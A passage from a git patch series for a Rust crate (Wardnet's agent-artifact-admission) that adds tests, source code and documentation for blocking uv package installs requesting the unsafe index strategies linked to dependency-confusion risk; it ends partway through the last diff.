2026 15:21:47 +0900 Subject: [PATCH 631/702] test(agent-admission): keep uv link-mode baseline safe --- .../tests/uv_symlink_link_mode_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs index 0404b593..32f34721 100644 --- a/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_symlink_link_mode_authority_contract.rs @@ -86,6 +86,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From b136978ff0697a01483f220b5876860ff63c6425 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:22:03 +0900 Subject: [PATCH 632/702] test(agent-admission): keep uv certificate baseline safe --- .../tests/uv_system_certificate_store_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs index 1fd61d55..49ecb120 100644 --- a/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_system_certificate_store_authority_contract.rs @@ -74,6 +74,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From a4eca8348df0951e6396feb3d77b3433022f842c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:22:20 +0900 Subject: [PATCH 633/702] test(agent-admission): keep uv torch baseline safe --- .../tests/uv_torch_backend_authority_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs index d1cf7932..f96c09fb 100644 --- a/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_torch_backend_authority_contract.rs @@ -131,6 +131,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "cwl-example==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ], manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" .to_string(), From 8cbcff5bde508367fc44c62f2b7ef28bc35f0d61 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:22:37 +0900 Subject: [PATCH 634/702] test(agent-admission): keep uv transport baseline safe --- .../tests/uv_transport_trust_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs index c7d9cff2..06ff4a2c 100644 --- a/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_transport_trust_contract.rs @@ -98,6 +98,7 @@ fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { "example-package==1.2.3".to_string(), "--require-hashes".to_string(), "--no-deps".to_string(), + "--no-python-downloads".to_string(), ]; let artifact = intent .artifacts From 53a9c437a3c81621167216924d67891e5d7f13c9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:41:33 +0900 Subject: [PATCH 635/702] test(agent-admission): expose unsafe uv index strategy authority --- .../uv_index_strategy_authority_contract.rs | 175 ++++++++++++++++++ 1 file changed, 175 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs new file mode 100644 index 00000000..39879adb --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs @@ -0,0 +1,175 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, DecisionKind, InstallIntent, ReasonCode, + admission_decision, +}; + +#[test] +fn reviewed_uv_install_with_default_index_strategy_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn explicit_safe_first_index_strategy_remains_admissible() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .insert(3, "--index-strategy=first-index".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn unsafe_best_match_equals_form_is_explicit_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .insert(3, "--index-strategy=unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "unsafe-best-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn unsafe_best_match_separate_value_is_explicit_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv.insert(3, "--index-strategy".to_string()); + intent.argv.insert(4, "unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "separate unsafe-best-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn unsafe_first_match_is_explicit_trust_authority() { + for selector in [ + vec!["--index-strategy=unsafe-first-match".to_string()], + vec![ + "--index-strategy".to_string(), + "unsafe-first-match".to_string(), + ], + ] { + let (policy, mut intent) = approved_uv_install(); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(3 + offset, token); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "unsafe-first-match must have explicit trust evidence: {:?}", + decision.reason_codes + ); + } +} + +#[test] +fn near_spelling_does_not_fabricate_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent + .argv + .insert(3, "--index-strateg=unsafe-best-match".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "near spelling must not be interpreted as uv index-strategy authority: {:?}", + decision.reason_codes + ); +} + +#[test] +fn delegated_child_argv_does_not_fabricate_uv_trust_authority() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "run".to_string(), + "--no-python-downloads".to_string(), + "python".to_string(), + "--index-strategy=unsafe-best-match".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "delegated child argv must remain outside uv trust authority: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "example-package==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + let artifact = intent + .artifacts + .first_mut() + .expect("test helper supplies one artifact"); + artifact.ecosystem = "pypi".to_string(); + artifact.name = "example-package".to_string(); + artifact.version = "1.2.3".to_string(); + artifact.registry_url = "https://pypi.org/simple".to_string(); + artifact.owner = "Example".to_string(); + artifact.artifact_argument = "example-package==1.2.3".to_string(); + let approved_artifact = ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-index-strategy-authority".to_string(), + policy_revision: "2026-09-13.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: intent.workspace_id.clone(), + sha256: intent.manifest_sha256.clone(), + }], + approved_artifacts: vec![approved_artifact], + }; + (policy, intent) +} From f68b652a700b56b8c56215e43834739d666ce596 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:44:32 +0900 Subject: [PATCH 636/702] fix(agent-admission): classify unsafe uv index strategy authority --- .../src/uv_index_strategy_authority.rs | 138 ++++++++++++++++++ 1 file changed, 138 insertions(+) create mode 100644 crates/agent-artifact-admission/src/uv_index_strategy_authority.rs diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs new file mode 100644 index 00000000..cd68cb31 --- /dev/null +++ b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -0,0 +1,138 @@ +use crate::InstallIntent; + +const UV_INDEX_STRATEGY: &str = "--index-strategy"; +const FIRST_INDEX: &str = "first-index"; +const UNSAFE_FIRST_MATCH: &str = "unsafe-first-match"; +const UNSAFE_BEST_MATCH: &str = "unsafe-best-match"; + +/// Return whether a supported `uv pip install` asks uv to search across index +/// trust boundaries instead of retaining uv's dependency-confusion-safe +/// `first-index` selection rule. +pub(crate) fn requests_unsafe_uv_index_strategy(intent: &InstallIntent) -> bool { + let Some(arguments) = supported_uv_pip_install_arguments(intent) else { + return false; + }; + + arguments.iter().enumerate().any(|(index, argument)| { + if let Some(value) = argument.strip_prefix("--index-strategy=") { + return is_unsafe_strategy(value); + } + argument == UV_INDEX_STRATEGY + && arguments + .get(index + 1) + .is_some_and(|value| is_unsafe_strategy(value)) + }) +} + +/// Normalize only documented separate-value `uv pip install --index-strategy` +/// grammar so the strategy token is not mistaken for a package operand. The +/// selector itself remains in argv for ordinary command-policy validation. +pub(crate) fn normalize_reviewed_uv_index_strategy_value( + intent: &InstallIntent, +) -> Option { + let arguments = supported_uv_pip_install_arguments(intent)?; + let mut value_indexes = Vec::new(); + + for (index, argument) in arguments.iter().enumerate() { + if argument != UV_INDEX_STRATEGY { + continue; + } + let Some(value) = arguments.get(index + 1) else { + continue; + }; + if is_documented_strategy(value) { + // `arguments` starts after the executable, so map back into argv. + value_indexes.push(index + 2); + } + } + + if value_indexes.is_empty() { + return None; + } + + let mut normalized = intent.clone(); + for index in value_indexes.into_iter().rev() { + normalized.argv.remove(index); + } + Some(normalized) +} + +fn supported_uv_pip_install_arguments(intent: &InstallIntent) -> Option<&[String]> { + if intent.argv.first().map(String::as_str) != Some("uv") + || intent.argv.get(1).map(String::as_str) != Some("pip") + || intent.argv.get(2).map(String::as_str) != Some("install") + { + return None; + } + Some(&intent.argv[3..]) +} + +fn is_documented_strategy(value: &str) -> bool { + matches!(value, FIRST_INDEX | UNSAFE_FIRST_MATCH | UNSAFE_BEST_MATCH) +} + +fn is_unsafe_strategy(value: &str) -> bool { + matches!(value, UNSAFE_FIRST_MATCH | UNSAFE_BEST_MATCH) +} + +#[cfg(test)] +mod tests { + use super::{ + normalize_reviewed_uv_index_strategy_value, requests_unsafe_uv_index_strategy, + }; + use crate::InstallIntent; + + fn intent(arguments: &[&str]) -> InstallIntent { + let mut intent = InstallIntent::unowned_llms_package_for_test(); + intent.argv = arguments.iter().map(|value| (*value).to_string()).collect(); + intent + } + + #[test] + fn matcher_is_exact_and_bounded_to_supported_uv_pip_install() { + for argv in [ + vec!["uv", "pip", "install", "pkg", "--index-strategy=unsafe-best-match"], + vec!["uv", "pip", "install", "pkg", "--index-strategy", "unsafe-first-match"], + ] { + assert!(requests_unsafe_uv_index_strategy(&intent(&argv))); + } + + for argv in [ + vec!["uv", "pip", "install", "pkg", "--index-strategy=first-index"], + vec!["uv", "pip", "install", "pkg", "--index-strateg=unsafe-best-match"], + vec!["uv", "run", "python", "--index-strategy=unsafe-best-match"], + ] { + assert!(!requests_unsafe_uv_index_strategy(&intent(&argv))); + } + } + + #[test] + fn normalizer_consumes_only_documented_separate_strategy_values() { + let separate = intent(&[ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "first-index", + ]); + let normalized = normalize_reviewed_uv_index_strategy_value(&separate) + .expect("documented separate strategy value must normalize"); + assert_eq!( + normalized.argv, + vec!["uv", "pip", "install", "pkg", "--index-strategy"] + ); + + assert!( + normalize_reviewed_uv_index_strategy_value(&intent(&[ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "future-mode", + ])) + .is_none() + ); + } +} From d3700b330cec8cc4e7ee60d1f0577dfb26f38441 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:45:01 +0900 Subject: [PATCH 637/702] fix(agent-admission): enforce uv index strategy trust boundary --- crates/agent-artifact-admission/src/lib.rs | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 5408f591..193f8d00 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -31,6 +31,7 @@ mod pypi_requires_python_authority; mod pypi_system_package_authority; mod uv_bytecode_compilation_authority; mod uv_configuration_authority; +mod uv_index_strategy_authority; mod uv_link_mode_authority; mod uv_python_download_safety; @@ -67,6 +68,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A let intent = certificate_store_normalized_intent .as_ref() .unwrap_or(intent); + let uv_index_strategy_normalized_intent = + uv_index_strategy_authority::normalize_reviewed_uv_index_strategy_value(intent); + let intent = uv_index_strategy_normalized_intent.as_ref().unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision @@ -328,6 +332,15 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A } decision.decision = DecisionKind::Block; } + if uv_index_strategy_authority::requests_unsafe_uv_index_strategy(submitted_intent) { + if !decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot) + { + decision.reason_codes.push(ReasonCode::AlternateTrustRoot); + } + decision.decision = DecisionKind::Block; + } if oci_transport::requests_unapproved_oci_transport_trust(intent) { if !decision .reason_codes From d1508f117a144914e2376e17451ce38bfc37e9dd Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:45:24 +0900 Subject: [PATCH 638/702] test(agent-admission): preserve safe uv index strategy grammar --- .../uv_index_strategy_authority_contract.rs | 19 ++++++++++++------- 1 file changed, 12 insertions(+), 7 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs index 39879adb..b1432d56 100644 --- a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs @@ -15,15 +15,20 @@ fn reviewed_uv_install_with_default_index_strategy_remains_admissible() { #[test] fn explicit_safe_first_index_strategy_remains_admissible() { - let (policy, mut intent) = approved_uv_install(); - intent - .argv - .insert(3, "--index-strategy=first-index".to_string()); + for selector in [ + vec!["--index-strategy=first-index".to_string()], + vec!["--index-strategy".to_string(), "first-index".to_string()], + ] { + let (policy, mut intent) = approved_uv_install(); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(3 + offset, token); + } - let decision = admission_decision(&policy, &intent); + let decision = admission_decision(&policy, &intent); - assert_eq!(decision.decision, DecisionKind::Allow); - assert!(decision.reason_codes.is_empty()); + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); + } } #[test] From dfffc085a4aaa1484bf6217f7de42286d89b37b9 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:45:36 +0900 Subject: [PATCH 639/702] docs(agent-admission): trace uv index strategy trust evidence --- docs/doctoring/uv-index-strategy-authority.md | 26 +++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 docs/doctoring/uv-index-strategy-authority.md diff --git a/docs/doctoring/uv-index-strategy-authority.md b/docs/doctoring/uv-index-strategy-authority.md new file mode 100644 index 00000000..42e3d7b6 --- /dev/null +++ b/docs/doctoring/uv-index-strategy-authority.md @@ -0,0 +1,26 @@ +# uv index-strategy authority + +Wardnet treats caller-selected uv index search strategy as Agent Artifact Admission evidence, not as network execution policy. The reviewed `uv pip install` boundary permits uv's default `first-index` strategy, including its explicit attached and separate-value forms. It rejects `unsafe-first-match` and `unsafe-best-match` with `AlternateTrustRoot` because both relax the first-index trust boundary across package indexes. + +Astral documents `first-index` as the default strategy and states that stopping at the first index containing a package name is intended to prevent dependency-confusion attacks. Astral describes `unsafe-first-match` as searching for compatible versions across all indexes and `unsafe-best-match` as searching all indexes for the best version; the compatibility guide explicitly warns that `unsafe-best-match` exposes users to dependency-confusion risk. + +Wardnet only evaluates structured argv submitted in the install intent. It does not read `uv.toml`, `pyproject.toml`, environment variables, certificate stores, DNS, TLS state, registry contents, or package indexes. Effective runtime configuration and isolation remain owned by `quarantine-sandbox-runtime`; executable egress authorization remains owned by EgressWeave; package/static analysis remains owned by AppGuardrail. + +## Acceptance boundary + +- `uv pip install ...` with no explicit index strategy remains admissible when every other admission requirement is satisfied. +- `--index-strategy=first-index` and `--index-strategy first-index` remain admissible. +- `--index-strategy=unsafe-first-match`, `--index-strategy unsafe-first-match`, `--index-strategy=unsafe-best-match`, and `--index-strategy unsafe-best-match` are blocked with explicit `AlternateTrustRoot` evidence. +- Near-spellings do not acquire uv semantics. +- Delegated child argv under unsupported `uv run` flows is not reinterpreted as `uv pip install` authority. +- The repair does not widen Wardnet's supported install grammar beyond direct `uv pip install`. + +## References + +Astral Software. (n.d.). *Package indexes*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/concepts/indexes/ + +Astral Software. (n.d.). *Compatibility with pip: Package priority*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/pip/compatibility/#package-priority + +Astral Software. (n.d.). *Settings: index-strategy*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/settings/#index-strategy + +Astral Software. (n.d.). *CLI reference: uv pip install*. uv documentation. Retrieved September 13, 2026, from https://docs.astral.sh/uv/reference/cli/#uv-pip-install From 85127415c7052ffb5e7a7af28544aac107277c00 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:46:25 +0900 Subject: [PATCH 640/702] fix(agent-admission): normalize uv strategy value at exact argv index --- .../src/uv_index_strategy_authority.rs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs index cd68cb31..1b77c46a 100644 --- a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs +++ b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -41,8 +41,9 @@ pub(crate) fn normalize_reviewed_uv_index_strategy_value( continue; }; if is_documented_strategy(value) { - // `arguments` starts after the executable, so map back into argv. - value_indexes.push(index + 2); + // `arguments` starts at argv[3], so its following value maps to + // argv[index + 4]. + value_indexes.push(index + 4); } } From 8e3e26cac151970118e00f65dabed598afcd3f03 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:46:50 +0900 Subject: [PATCH 641/702] fix(agent-admission): respect uv option termination for index strategy --- .../src/uv_index_strategy_authority.rs | 39 ++++++++++++------- 1 file changed, 24 insertions(+), 15 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs index 1b77c46a..f30f20cd 100644 --- a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs +++ b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -13,15 +13,25 @@ pub(crate) fn requests_unsafe_uv_index_strategy(intent: &InstallIntent) -> bool return false; }; - arguments.iter().enumerate().any(|(index, argument)| { + for (index, argument) in arguments.iter().enumerate() { + if argument == "--" { + break; + } if let Some(value) = argument.strip_prefix("--index-strategy=") { - return is_unsafe_strategy(value); + if is_unsafe_strategy(value) { + return true; + } + continue; } - argument == UV_INDEX_STRATEGY + if argument == UV_INDEX_STRATEGY && arguments .get(index + 1) .is_some_and(|value| is_unsafe_strategy(value)) - }) + { + return true; + } + } + false } /// Normalize only documented separate-value `uv pip install --index-strategy` @@ -34,6 +44,9 @@ pub(crate) fn normalize_reviewed_uv_index_strategy_value( let mut value_indexes = Vec::new(); for (index, argument) in arguments.iter().enumerate() { + if argument == "--" { + break; + } if argument != UV_INDEX_STRATEGY { continue; } @@ -102,6 +115,7 @@ mod tests { vec!["uv", "pip", "install", "pkg", "--index-strategy=first-index"], vec!["uv", "pip", "install", "pkg", "--index-strateg=unsafe-best-match"], vec!["uv", "run", "python", "--index-strategy=unsafe-best-match"], + vec!["uv", "pip", "install", "pkg", "--", "--index-strategy=unsafe-best-match"], ] { assert!(!requests_unsafe_uv_index_strategy(&intent(&argv))); } @@ -124,16 +138,11 @@ mod tests { vec!["uv", "pip", "install", "pkg", "--index-strategy"] ); - assert!( - normalize_reviewed_uv_index_strategy_value(&intent(&[ - "uv", - "pip", - "install", - "pkg", - "--index-strategy", - "future-mode", - ])) - .is_none() - ); + for argv in [ + vec!["uv", "pip", "install", "pkg", "--index-strategy", "future-mode"], + vec!["uv", "pip", "install", "pkg", "--", "--index-strategy", "first-index"], + ] { + assert!(normalize_reviewed_uv_index_strategy_value(&intent(&argv)).is_none()); + } } } From 045d8feff1a9258b016349336a659d711cadbe1d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:48:38 +0900 Subject: [PATCH 642/702] style(agent-admission): apply rustfmt to uv index strategy wiring --- crates/agent-artifact-admission/src/lib.rs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 193f8d00..57695029 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -70,7 +70,9 @@ pub fn admission_decision(policy: &AdmissionPolicy, intent: &InstallIntent) -> A .unwrap_or(intent); let uv_index_strategy_normalized_intent = uv_index_strategy_authority::normalize_reviewed_uv_index_strategy_value(intent); - let intent = uv_index_strategy_normalized_intent.as_ref().unwrap_or(intent); + let intent = uv_index_strategy_normalized_intent + .as_ref() + .unwrap_or(intent); let mut decision = policy::admission_decision(policy, intent); if artifact_source_identity::requests_unapproved_artifact_source(intent) { if !decision From 4133567d5389d2401451a9cf06dd897c34e8671d Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 15:48:55 +0900 Subject: [PATCH 643/702] style(agent-admission): apply rustfmt to uv index strategy authority --- .../src/uv_index_strategy_authority.rs | 65 ++++++++++++++++--- 1 file changed, 55 insertions(+), 10 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs index f30f20cd..0ae676cd 100644 --- a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs +++ b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs @@ -91,9 +91,7 @@ fn is_unsafe_strategy(value: &str) -> bool { #[cfg(test)] mod tests { - use super::{ - normalize_reviewed_uv_index_strategy_value, requests_unsafe_uv_index_strategy, - }; + use super::{normalize_reviewed_uv_index_strategy_value, requests_unsafe_uv_index_strategy}; use crate::InstallIntent; fn intent(arguments: &[&str]) -> InstallIntent { @@ -105,17 +103,49 @@ mod tests { #[test] fn matcher_is_exact_and_bounded_to_supported_uv_pip_install() { for argv in [ - vec!["uv", "pip", "install", "pkg", "--index-strategy=unsafe-best-match"], - vec!["uv", "pip", "install", "pkg", "--index-strategy", "unsafe-first-match"], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy=unsafe-best-match", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "unsafe-first-match", + ], ] { assert!(requests_unsafe_uv_index_strategy(&intent(&argv))); } for argv in [ - vec!["uv", "pip", "install", "pkg", "--index-strategy=first-index"], - vec!["uv", "pip", "install", "pkg", "--index-strateg=unsafe-best-match"], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy=first-index", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strateg=unsafe-best-match", + ], vec!["uv", "run", "python", "--index-strategy=unsafe-best-match"], - vec!["uv", "pip", "install", "pkg", "--", "--index-strategy=unsafe-best-match"], + vec![ + "uv", + "pip", + "install", + "pkg", + "--", + "--index-strategy=unsafe-best-match", + ], ] { assert!(!requests_unsafe_uv_index_strategy(&intent(&argv))); } @@ -139,8 +169,23 @@ mod tests { ); for argv in [ - vec!["uv", "pip", "install", "pkg", "--index-strategy", "future-mode"], - vec!["uv", "pip", "install", "pkg", "--", "--index-strategy", "first-index"], + vec![ + "uv", + "pip", + "install", + "pkg", + "--index-strategy", + "future-mode", + ], + vec![ + "uv", + "pip", + "install", + "pkg", + "--", + "--index-strategy", + "first-index", + ], ] { assert!(normalize_reviewed_uv_index_strategy_value(&intent(&argv)).is_none()); } From 9466c9622778211010fd7009487f93c46d2c0b4e Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 16:03:06 +0900 Subject: [PATCH 644/702] test(agent-admission): preserve global uv index strategy evidence --- .../uv_index_strategy_authority_contract.rs | 36 +++++++++++++++++++ 1 file changed, 36 insertions(+) diff --git a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs index b1432d56..7b4ed9cf 100644 --- a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs @@ -95,6 +95,42 @@ fn unsafe_first_match_is_explicit_trust_authority() { } } +#[test] +fn reviewed_uv_global_options_do_not_hide_unsafe_index_strategy_authority() { + for selector in [ + vec!["--index-strategy=unsafe-best-match".to_string()], + vec![ + "--index-strategy".to_string(), + "unsafe-first-match".to_string(), + ], + ] { + let (policy, mut intent) = approved_uv_install(); + intent.argv.splice( + 1..1, + ["--color".to_string(), "never".to_string()], + ); + for (offset, token) in selector.into_iter().enumerate() { + intent.argv.insert(5 + offset, token); + } + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + "global-option grammar remains outside the supported install command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateTrustRoot), + "reviewed uv global options must not hide unsafe index-strategy authority: {:?}", + decision.reason_codes + ); + } +} + #[test] fn near_spelling_does_not_fabricate_trust_authority() { let (policy, mut intent) = approved_uv_install(); From 98b8043378a8de7d08a030db8c783674564403e6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 16:04:49 +0900 Subject: [PATCH 645/702] style(agent-admission): apply rustfmt to index strategy RED --- .../tests/uv_index_strategy_authority_contract.rs | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs index 7b4ed9cf..09f4d44b 100644 --- a/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_index_strategy_authority_contract.rs @@ -105,10 +105,9 @@ fn reviewed_uv_global_options_do_not_hide_unsafe_index_strategy_authority() { ], ] { let (policy, mut intent) = approved_uv_install(); - intent.argv.splice( - 1..1, - ["--color".to_string(), "never".to_string()], - ); + intent + .argv + .splice(1..1, ["--color".to_string(), "never".to_string()]); for (offset, token) in selector.into_iter().enumerate() { intent.argv.insert(5 + offset, token); } @@ -117,7 +116,9 @@ fn reviewed_uv_global_options_do_not_hide_unsafe_index_strategy_authority() { assert_eq!(decision.decision, DecisionKind::Block); assert!( - decision.reason_codes.contains(&ReasonCode::ForbiddenCommand), + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), "global-option grammar remains outside the supported install command: {:?}", decision.reason_codes ); From 5aa83ee3fda02aec24acf476552f2b89041524da Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Sun, 13 Sep 2026 16:08:52 +0900 Subject: [PATCH 646/702] fix(agent-admission): preserve uv index strategy evidence after global options --- .../src/uv_index_strategy_authority.rs | 59 +++++++++++++++++-- 1 file changed, 54 insertions(+), 5 deletions(-) diff --git a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs b/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs index 0ae676cd..4890f0bc 100644 --- a/crates/agent-artifact-admission/src/uv_index_strategy_authority.rs +++ 